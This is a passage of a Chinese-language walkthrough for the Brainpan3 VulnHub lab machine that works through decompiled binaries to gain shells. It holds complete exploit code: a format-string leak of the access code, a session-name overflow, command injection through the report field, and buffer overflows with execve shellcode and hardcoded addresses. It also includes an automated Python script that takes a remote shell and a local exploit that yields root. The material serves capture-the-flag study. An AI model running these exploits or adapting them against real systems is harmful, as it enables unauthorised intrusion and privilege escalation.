  FILE *stream; // [esp+30h] [ebp-58h]
  struct tm *tp; // [esp+34h] [ebp-54h]
  char s; // [esp+3Ah] [ebp-4Eh]
  char dest[4]; // [esp+54h] [ebp-34h]
  int v8; // [esp+58h] [ebp-30h]
  int v9; // [esp+5Ch] [ebp-2Ch]
  int v10; // [esp+60h] [ebp-28h]
  int v11; // [esp+64h] [ebp-24h]
  __int16 v12; // [esp+68h] [ebp-20h]
  unsigned int v13; // [esp+7Ch] [ebp-Ch]

  v13 = __readgsdword(0x14u);
  stream = 0;
  time(&timer);
  tp = localtime(&timer);
  strftime(&s, 0x1Au, "%Y%m%d%H%M%S", tp);
  memset(dest, 0, 0x28u);
  *(_DWORD *)dest = 1836017711;
  v8 = 1851862885;
  v9 = 1769172577;
  v10 = 1346720303;
  v11 = 1398035023;
  v12 = 47;
  strcat(dest, &s);
  v1 = &dest[strlen(dest)];
  *(_DWORD *)v1 = 1885696558;
  v1[4] = 0;
  printf("[+] WRITING REPORT TO %s\n", dest);
  stream = fopen(dest, "w");
  fputs(a1, stream);
  fclose(stream);
  strncpy(REPORT, a1, 0x64u);
  return feedback();
}
```

 - record_id

``` bash
int __cdecl record_id(char *src)
{
  char dest; // [esp+19h] [ebp-Fh]
  int (*v3)(); // [esp+1Ch] [ebp-Ch]

  v3 = feedback;
  strcpy(&dest, src);
  v3();
  return atoi(&dest);
}
```

 - feedback

``` bash
int feedback()
{
  puts("[+] DATA SUCCESSFULLY ENCRYPTED");
  return puts("[+] DATA SUCCESSFULLY RECORDED");
}
```

因此，代码首先检查本地主机名是否为brainpain3，并假设本地主机名是brainpain3，它将report数据复制到&dest，并使用mprotect使REPORT数据可执行。之后，它检查第二个参数。

 - 1:将使用sanitize函数过滤&dest中的数据，然后对其进行加密，最后使用record_data函数进行存储，该函数将数据存储到文件中，并将前100个字节复制到REPORT中。
 - 2:数据将直接存储而无需任何过滤或加密，并且将调用附加函数record_id，现在这是一个有趣的函数。

当查看record_id函数时，可以看到它为pfeedback分配了一个函数指针，然后将&dest的内容复制到dest中，由于dest最多只能容纳3个字节，因此我们可以溢出它并控制pfeedback指针，该指针将在之后执行strcpy导致代码执行。

在kali中使用gdb调试如下所示

![](https://r3v3rs3r.files.wordpress.com/2015/09/poc1.png)

因此，总结一下：因为前100个字节存储在可执行位置（REPORT），并且可以控制函数指针（pfeedback），所以可以在REPORT中存储一些shellcode，然后使pfeedback指针指向我的shellcode。可以在IDA中查找REPORT的地址：

``` bash
.bss:0804B0A0                 public REPORT
.bss:0804B0A0 ; char REPORT[500]
.bss:0804B0A0 REPORT          db 1F4h dup(?)          ; DATA XREF: record_data+131↑o
.bss:0804B0A0                                         ; main+7D↑o
.bss:0804B0A0 _bss            ends
.bss:0804B0A0
```
漏洞利用缓冲区可能类似于：

``` bash
AAA<REPORT_address+7><shellcode>
```

请注意，必须在REPORT地址上添加7，以越过3个A和4个字节的函数指针。

 - python版POC代码

``` bash
import struct
import sys
 
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
__REPORT = 0x0804B0A0
 
def p(v):
    return struct.pack('<L', v)
 
payload  = 'AAA'
payload += p(__REPORT + 7)
payload += shellcode
 
print payload + ' 0'
```

执行poc会按预期生成一个shell

``` bash
root@kali:~/vulnhub/brainpan3#./report $(./poc.py)
[+] WRITING REPORT TO /home/anansi/REPORTS/20150912020038.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
$ id
uid=1000(root) gid=1001(root) groups=1001(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),105(scanner),108(bluetooth),112(netdev),125(powerdev)
$
```

#### brainpan console - report功能

现在，如果还记得，由于禁用了report功能，目前无法在brainpan控制台中创建report，因此必须启用它，现在这就是“update session name”选项（3）中缓冲区溢出起作用的地方。通过溢出session name缓冲区，可以控制以下值：

``` bash
AUTH   [Y]    REPORT [N]    MENU   [Y]
```

通过将REPORT [N]设置为Y，将启用REPORT功能。一个模糊测试脚本可以帮助找到正确的长度，直到覆盖N

``` bash
from select import select
from socket import *
from time import sleep
import telnetlib
import sys
import struct
import re
 
class NetcatClient:
    def __init__(self, host, port):
        """
        Netcat Class init.
        """
        self.host = host
        self.port = int(port)
        self.delay = 0.05
        self.linemode = False
        self.sock = socket(AF_INET, SOCK_STREAM)
 
    # private functions
    def __check_state(self, timeout=0):
        """
        Check the socket it's read, write and exception state 
        using select
        """
        # we need abit of a delay to keep things
        # running smooth
        sleep(self.delay)
        return select([self.sock], [self.sock], [self.sock], timeout)
 
    # core functions
    def connect(self):
        """
        Connect to host
        """
        try:
            self.sock.connect((self.host, self.port))
            return True
        except error as e:
            print 'NetcatClassError:', e
            return False
 
    def close(self):
        """
        Close the connection
        """
        try:
            self.sock.close()
        except error as e:
            print 'NetcatClassError:', e
 
    def recv(self, size=4096):
        """
        Recieve all data
        """
        try:
            data = ''
            readable, writable, exceptional = self.__check_state()
            if readable:
                # while socket readable...
                while readable:
                    # collect all data
                    data += self.sock.recv(size)
                    # re-check socket's state
                    readable, writable, exceptional = self.__check_state()
            return data
        except error as e:
            print 'NetcatClassError:', e
 
    def send(self, data):
        """
        Send data
        """
        if self.linemode:
            data += '\n'
        try:
            readable, writable, exceptional = self.__check_state()
            if writable:
                self.sock.send(data)
        except error as e:
            print 'NetcatClassError:', e
 
    def sendrecv(self, data):
        """
        Send and recieve data
        """
        self.send( data )
        return self.recv()
 
    def interact(self):
        """
        Interactive telnet client
        """
        try:
            t = telnetlib.Telnet()
            t.sock = self.sock
            t.interact()
            t.close()
        except KeyboardInterrupt:
            self.close()
 
if __name__ == '__main__':
    # fuzzing code
    s = NetcatClient('192.168.56.117', '1337')
    s.linemode = True
    s.connect()
    # banner
    s.recv()
    # send format string pattern and grab the login code
    r = s.sendrecv('%3$d')
    # parse the login code from the reponse
    l = re.findall(r"INVALID ACCESS CODE: (.*?)\n", r)
    print 'login code -> ', l
    # send login code and log in
    s.sendrecv('%s'%(l[0]))
 
    # send change sessionname commands
    # with length of 0 ... 255
    for i in range(256):
        s.sendrecv('3')
        resp = s.sendrecv(i * 'Y')
        l = re.findall(r"REPORT \[(.*?)\]", resp)
        print i,'->',l
        # if value changed to Y break
        if 'Y' in l[0]:
            print 'payload -> %d * Y' % (i)
            break
 
    s.close()
```

运行模糊测试器会导致：

``` bash
root@kali:~/vulnhub/brainpan3# python test.py 
login code ->  ['2433']
0 -> ['N']
1 -> ['N']
2 -> ['N']
3 -> ['N']
4 -> ['N']
5 -> ['N']
6 -> ['N']
7 -> ['N']
8 -> ['N']
9 -> ['N']
10 -> ['N']
11 -> ['N']
12 -> ['N']
13 -> ['N']
14 -> ['N']
15 -> ['N']
16 -> ['N']
17 -> ['N']
18 -> ['N']
19 -> ['N']
20 -> ['N']
21 -> ['N']
22 -> ['N']
23 -> ['N']
24 -> ['N']
25 -> ['N']
26 -> ['N']
27 -> ['N']
28 -> ['N']
29 -> ['N']
30 -> ['N']
31 -> ['N']
32 -> ['N']
...
244 -> ['N']
245 -> ['N']
246 -> ['N']
247 -> ['N']
248 -> ['N']
249 -> ['N']
250 -> ['N']
251 -> ['\x00']
252 -> ['\x00']
253 -> ['Y']
payload -> 253 * Y
```

因此，通过将session名称设置为253个Y字符，将REPORT功能状态从N更改为Y，从而有效地启用了report功能。

``` bash
ENTER COMMAND: 3
SELECTED: 3
ENTER NEW SESSION NAME: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
  AUTH   [Y]    REPORT [Y]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF
```

在测试该选项时，现在可以看到其确实启用了……

``` bash
ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

fuckfuckfuckfuckfuck

REPORT [fuckfuckfuckfuckfuck@]
SENDING TO REPORT MODULE

[+] WRITING REPORT TO /home/anansi/REPORTS/20200205215605.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [II]

--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
  AUTH   [Y]    REPORT [Y]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF
```

因此，现在可以在Brainpan控制台中创建报告，并在报告可执行文件中触发易受攻击的代码，不是吗？似乎Brainpan控制台使用1选项执行了报告可执行文件，并且为了触发record_id中的易受攻击的代码，需要使用0选项来执行它。在这里有些卡住，要在报告缓冲区中打更多的主意。在报表数据中插入双引号时，会出现一个有趣的错误

``` bash
ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

aaa"

REPORT [aaa"fuckfuckfuckfuck@]
SENDING TO REPORT MODULE

sh: 1: Syntax error: Unterminated quoted string

--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
  AUTH   [Y]    REPORT [Y]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF
```

似乎双引号引起了执行报告命令行时的错误，更准确地说，是未引用的字符串的一部分，但更有趣的是，似乎可以使用报告数据进行命令注入。

``` bash
ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

";id;"

REPORT [";id;"ckfuckfuckfuck@]
SENDING TO REPORT MODULE

/var/www/repo/report <report> [0|1]
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
sh: 1: ckfuckfuckfuck@: not found

--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
  AUTH   [Y]    REPORT [Y]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

";ls;"          

REPORT [";ls;"ckfuckfuckfuck@]
SENDING TO REPORT MODULE

/var/www/repo/report <report> [0|1]
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
sh: 1: ckfuckfuckfuck@: not found

--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
  AUTH   [Y]    REPORT [Y]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF
```

还可以在命令行中插入0来触发record_id中的易受攻击的代码

``` bash
ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

aasdcasdc" 0 #

REPORT [aasdcasdc" 0 #ckfuck@]
SENDING TO REPORT MODULE

Segmentation fault (core dumped)

--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
  AUTH   [Y]    REPORT [Y]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF
```

#### 编写python脚本来利用

 – 获取登录代码并登录
 – 启用report功能
 – 发送包含0选项的payload report
 – 获取shell

以下代码自动完成了整个过程：

report.py

``` bash
from select import select
from socket import *
from time import sleep
import telnetlib, sys, re, struct
 
 
class NetcatClass:
    def __init__(self, host, port):
        """
        Netcat Class init.
        """
        self.host = host
        self.port = int(port)
        self.delay = 0.05
        self.linemode = False
        self.sock = socket(AF_INET, SOCK_STREAM)
 
    # private functions
    def __check_state(self, timeout=0):
        """
        Check the socket it's read, write and exception state 
        using select
        """
        # we need abit of a delay to keep things
        # running smooth
        sleep(self.delay)
        return select([self.sock], [self.sock], [self.sock], timeout)
 
    # core functions
    def connect(self):
        """
        Connect to host
        """
        try:
            self.sock.connect((self.host, self.port))
            return True
        except error as e:
            print 'NetcatClassError:', e
            return False
 
    def close(self):
        """
        Close the connection
        """
        try:
            self.sock.close()
        except error as e:
            print 'NetcatClassError:', e
 
    def recv(self, size=4096):
        """
        Recieve all data
        """
        try:
            data = ''
            readable, writable, exceptional = self.__check_state()
            if readable:
                # while socket readable...
                while readable:
                    # collect all data
                    data += self.sock.recv(size)
                    # re-check socket's state
                    readable, writable, exceptional = self.__check_state()
            return data
        except error as e:
            print 'NetcatClassError:', e
 
    def send(self, data):
        """
        Send data
        """
        try:
            readable, writable, exceptional = self.__check_state()
            if writable:
                if self.linemode:
                    data += '\n'
                self.sock.sendall(data)
        except error as e:
            print 'NetcatClassError:', e
 
    def sendrecv(self, data):
        """
        Send and recieve data
        """
        self.send(data)
        return self.recv()
 
    def interact(self):
        """
        Interactive telnet client
        """
        try:
            t = telnetlib.Telnet()
            t.sock = self.sock
            t.interact()
            t.close()
        except KeyboardInterrupt:
            self.close()
 
 
def p(v):
    return struct.pack('<L', v)
 
def exploit(host, port):
    # connect
    s = NetcatClass(host, port)
    # make all sends being treathed as line's eq. add a \n
    s.linemode = True
    s.connect()
    # recieve banner
    s.recv()
    # send formatstring pattern and read response containing access code    
    print '[+] Leak access code'
    acccode = re.findall(r"INVALID ACCESS CODE: (.*?)\n", s.sendrecv('%3$d'))
    if not acccode:
        print '[!] Failed to get access code!'
        s.close()
        exit()  
    print '[+] Access code leaked: {}'.format(acccode[0])
    # send access code
    s.sendrecv(acccode[0])
    # enable report feature
    print '[+] Enabling report feature'
    s.sendrecv('3')
    s.sendrecv(253 * 'Y')
    # create payload
    # linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
    # http://shell-storm.org/shellcode/files/shellcode-752.php
    shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
    # .bss:0804B0A0 ; char REPORT[500]
    # strncpy(REPORT, buf, 100u);
    __bss_REPORT = 0x0804B0A0
    # construct payload report  
    payload  = "AAA"
    payload += p(__bss_REPORT + 7)
    payload += shellcode
    # inject double qoute and a 0 to trigger
    # the vulnerable code in record_id
    payload += '" 0 #'
    # send payload report
    print '[+] Sending payload report'
    s.sendrecv('1')
    s.sendrecv( payload )
    # interactive shell?
    print '[+] Dropping into shell'
    s.send('python -c "import pty;pty.spawn(\'/bin/bash\')"')
    s.interact()
 
if __name__ == '__main__':
    exploit('192.168.56.117', '1337')
```

最后执行漏洞利用程序为anansi用户获取了一个shell。

``` bash
root@kali:~/vulnhub/brainpan3# python report.py 
[+] Leak access code
[+] Access code leaked: 2602
[+] Enabling report feature
[+] Sending payload report
[+] Dropping into shell
anansi@brainpan3:/$ id
id
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
anansi@brainpan3:/$ whoami
whoami
anansi
anansi@brainpan3:/$ pwd
pwd
/
anansi@brainpan3:/$ ls
ls
bin   etc         initrd.img.old  media  proc  sbin  tmp  vmlinuz
boot  home        lib             mnt    root  srv   usr  vmlinuz.old
dev   initrd.img  lost+found      opt    run   sys   var
anansi@brainpan3:/$ cd home
cd home
anansi@brainpan3:/home$ ls
ls
anansi  puck  reynard
anansi@brainpan3:/home$ cd anansi
cd anansi
anansi@brainpan3:/home/anansi$ ls
ls
REPORTS  lapinblanc.txt
anansi@brainpan3:/home/anansi$ cat lapinblanc.txt
cat lapinblanc.txt

                     _       _
                    / \     / \
                   {   }   {   }
                   {   {   }   }
                    \   \ /   /
                     \   Y   /
                     .-"`"`"-.
                   ,`         `.
                  /             \
                 /               \
                {     ;"";,       }
                {  /";`'`,;       }
                 \{  ;`,'`;.     /
                  {  }`""`  }   /}
                  {  }      {  //  f o l l o w
                  {||}      {  /       m e
                  `"'       `"'
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub202.jpg)

#### reynard

在box上寻找时，发现reynard文件夹是可读的，并且在“/private/”文件夹中具有SUID可执行文件和加密文件

``` bash
anansi@brainpan3:/home/reynard/private$ ls -lah
ls -lah
total 20K
drwxrwx--- 2 reynard webdev  4.0K Jun 10  2015 .
drwxr-xr-x 3 reynard reynard 4.0K Jun 10  2015 ..
-rwsr-xr-x 1 reynard reynard 5.5K May 19  2015 cryptor
-r-------- 1 reynard reynard   77 May 21  2015 sekret.txt.enc
anansi@brainpan3:/home/reynard/private$ ./cryptor
./cryptor
Usage: ./cryptor file key
```

将两个文件都下载到了本地计算机，并开始分析cryptor可执行文件

``` bash
anansi@brainpan3:/home/anansi$ cp /home/reynard/private/cryptor .
cp /home/reynard/private/cryptor .
anansi@brainpan3:/home/anansi$ ls
ls
REPORTS  cryptor  lapinblanc.txt
anansi@brainpan3:/home/anansi$ python -m SimpleHTTPServer 8080
python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
192.168.56.1 - - [06/Feb/2020 05:45:39] "GET / HTTP/1.1" 200 -
192.168.56.1 - - [06/Feb/2020 05:45:48] "GET /cryptor HTTP/1.1" 200 -
192.168.56.1 - - [06/Feb/2020 05:46:07] "GET /lapinblanc.txt HTTP/1.1" 200 -
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub203.jpg)

下面是它的c语言伪代码

main
``` bash
int __cdecl main(int a1, char **a2)
{
  int result; // eax

  if ( a1 > 2 )
  {
    sub_80485ED(a2[1], a2[2]);
    result = 0;
  }
  else
  {
    printf("Usage: %s file key\n", *a2);
    result = 1;
  }
  return result;
}
```

sub_80485ED
``` bash
int __cdecl sub_80485ED(char *src, char *nptr)
{
  char *v2; // eax
  int v3; // ebx
  int v4; // eax
  char s[100]; // [esp+Ch] [ebp-78h]
  int v7; // [esp+70h] [ebp-14h]
  FILE *stream; // [esp+74h] [ebp-10h]
  FILE *v9; // [esp+78h] [ebp-Ch]

  memset(dest, 0, 0x64u);
  memset(s, 0, 0x64u);
  if ( strlen(src) <= 0x74 )
    strcpy(s, src);
  else
    strncpy(s, src, 0x5Au);
  v2 = &s[strlen(s)];
  *(_DWORD *)v2 = 1668179246;
  v2[4] = 0;
  printf("[+] saving to %s\n", s);
  strcpy(dest, nptr);
  v9 = fopen(src, "r");
  if ( v9 )
  {
    for ( stream = fopen(s, "w"); ; fputc(v4 ^ v3, stream) )
    {
      v7 = fgetc(v9);
      if ( v7 == -1 )
        break;
      v3 = (char)v7;
      v4 = atoi(nptr);
    }
    fclose(stream);
    fclose(v9);
  }
  return 0;
}
```

从main函数开始，可以看到它将2个参数filename和key传递给cryptFile函数。在此函数中，它将对给定的文件名进行奇怪的长度检查，如果长度小于或等于116个字符，则会将完整文件名复制到100字节的pOutFilename缓冲区中，从而导致16字节的溢出。现在这还不足以溢出该函数的返回地址。

``` bash
stack layout
-00000078 pOutFile        db 100 dup(?)
-00000014 DataByte        dd ?
-00000010 fsin            dd ?                    ; offset
-0000000C fsout           dd ?                    ; offset
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 pFile           dd ?                    ; offset
+0000000C pKey            dd ?                    ; offset
```

但是，从cryptFile返回并离开main函数时，会发生有趣的事情。由于主要功能以leave指令退出。

``` bash
.text:08048786                 call    sub_80485ED
.text:0804878B                 mov     eax, 0
.text:08048790
.text:08048790 locret_8048790:                         ; CODE XREF: main+26↑j
.text:08048790                 leave
.text:08048791                 retn
```

leave说明与以下内容相同：

``` bash
mov esp, ebp
pop ebp
```

它有效地还原了堆栈指针，现在，在leave指令上放置一个断点并以116个字符的文件名启动可执行文件时，我们可以看到发生了什么

(gdb中调试的效果)
``` bash
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0 
EDX: 0xfffff000 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0xbffff400 ('A' )
ESP: 0xbffff480 --> 0xbffff69c ('A' )
EIP: 0x8048790 (leave)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048783:	mov    DWORD PTR [esp],eax
   0x8048786:	call   0x80485ed
   0x804878b:	mov    eax,0x0
=> 0x8048790:	leave  
   0x8048791:	ret    
   0x8048792:	xchg   ax,ax
   0x8048794:	xchg   ax,ax
   0x8048796:	xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xbffff480 --> 0xbffff69c ('A' )
0004| 0xbffff484 --> 0xbffff711 --> 0x53530041 ('A')
0008| 0xbffff488 --> 0xbffff508 --> 0x0 
0012| 0xbffff48c --> 0xb7e6fe46 (:	mov    DWORD PTR [esp],eax)
0016| 0xbffff490 --> 0x3 
0020| 0xbffff494 --> 0xbffff534 --> 0xbffff686 ("/root/vulnhub/brainpan3/cryptor")
0024| 0xbffff498 --> 0xbffff544 --> 0xbffff713 ("SSH_AGENT_PID=4019")
0028| 0xbffff49c --> 0xb7fdd860 --> 0xb7e59000 --> 0x464c457f 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048790 in ?? ()
```

EBP（0xbffff400）指向文件名缓冲区，并在执行成为ESP的离开指令时

``` bash
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0 
EDX: 0xfffff000 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff404 ('A' )
EIP: 0x8048791 (ret)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048786:	call   0x80485ed
   0x804878b:	mov    eax,0x0
   0x8048790:	leave  
=> 0x8048791:	ret    
   0x8048792:	xchg   ax,ax
   0x8048794:	xchg   ax,ax
   0x8048796:	xchg   ax,ax
   0x8048798:	xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xbffff404 ('A' )
0004| 0xbffff408 ('A' )
0008| 0xbffff40c ('A' )
0012| 0xbffff410 ('A' )
0016| 0xbffff414 ('A' )
0020| 0xbffff418 ('A' )
0024| 0xbffff41c ('A' )
0028| 0xbffff420 ('A' )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048791 in ?? ()
```

最后

``` bash
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0 
EDX: 0xfffff000 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff408 ('A' )
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff408 ('A' )
0004| 0xbffff40c ('A' )
0008| 0xbffff410 ('A' )
0012| 0xbffff414 ('A' )
0016| 0xbffff418 ('A' )
0020| 0xbffff41c ('A' )
0024| 0xbffff420 ('A' )
0028| 0xbffff424 ('A' )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x41414141 in ?? ()
```

那么该如何利用呢？请记住，密钥存储在全局缓冲区中，似乎cryptor是用可执行的堆栈和内存编译的，因此可以将Shellcode放在密钥缓冲区中，并在文件名缓冲区溢出中使用以返回该Shellcode来执行该Shellcode。

``` bash
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
```

 - Exploit:

``` bash
import struct

def p(v):
    return struct.pack('<L', v)

shellcode = '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
__bss_key = 0x0804a080
argFile = 29 * p(__bss_key)
argKey = shellcode
print argFile + ' ' + argKey
```

执行漏洞利用程序时，它并不总是生效，只需多执行几次，直到它生效为止

``` bash
root@kali:~/vulnhub/brainpan3# ./cryptor $(python cryptthis.py)
[+] saving to �����������������������������.enc
段错误
root@kali:~/vulnhub/brainpan3# ./cryptor $(python cryptthis.py)
[+] saving to �����������������������������.enc
段错误
root@kali:~/vulnhub/brainpan3# ./cryptor $(python cryptthis.py)
[+] saving to �����������������������������.enc
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# pwd
/root/vulnhub/brainpan3
# uname -a
Linux kali 5.4.0-kali2-amd64 #1 SMP Debian 5.4.8-1kali1 (2020-01-06) x86_64 GNU/Linux
# ls
bofh  cryptor  cryptthis.py  poc.py  report  report.py  shell  test.py
```

放在brainpan3上面运行poc

``` bash
anansi@brainpan3:/tmp$ echo "import struct

def p(v):
    return struct.pack('<L', v)

shellcode = '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
__bss_key = 0x0804a080
argFile = 29 * p(__bss_key)
argKey = shellcode
print argFile + ' ' + argKeyecho "import struct
> 
> def p(v):
>     return struct.pack('<L', v)
> 
<\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'   
> __bss_key = 0x0804a080
> argFile = 29 * p(__bss_key)
> argKey = shellcode
> " > cryptthis.py
print argFile + ' ' + argKey" > cryptthis.py
anansi@brainpan3:/tmp$ ls
ls
cryptthis.py  vjGSL5d  vtSHi56
anansi@brainpan3:/tmp$ cat cryptthis.py
cat cryptthis.py
import struct

def p(v):
    return struct.pack('<L', v)

shellcode = '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
__bss_key = 0x0804a080
argFile = 29 * p(__bss_key)
argKey = shellcode
print argFile + ' ' + argKey
anansi@brainpan3:/tmp$ python cryptthis.py
python cryptthis.py
����������������������������� 1����
                                   Qh//shh/bin��
anansi@brainpan3:/tmp$ cd /home
cd /home
anansi@brainpan3:/home$ ls
ls
anansi  puck  reynard
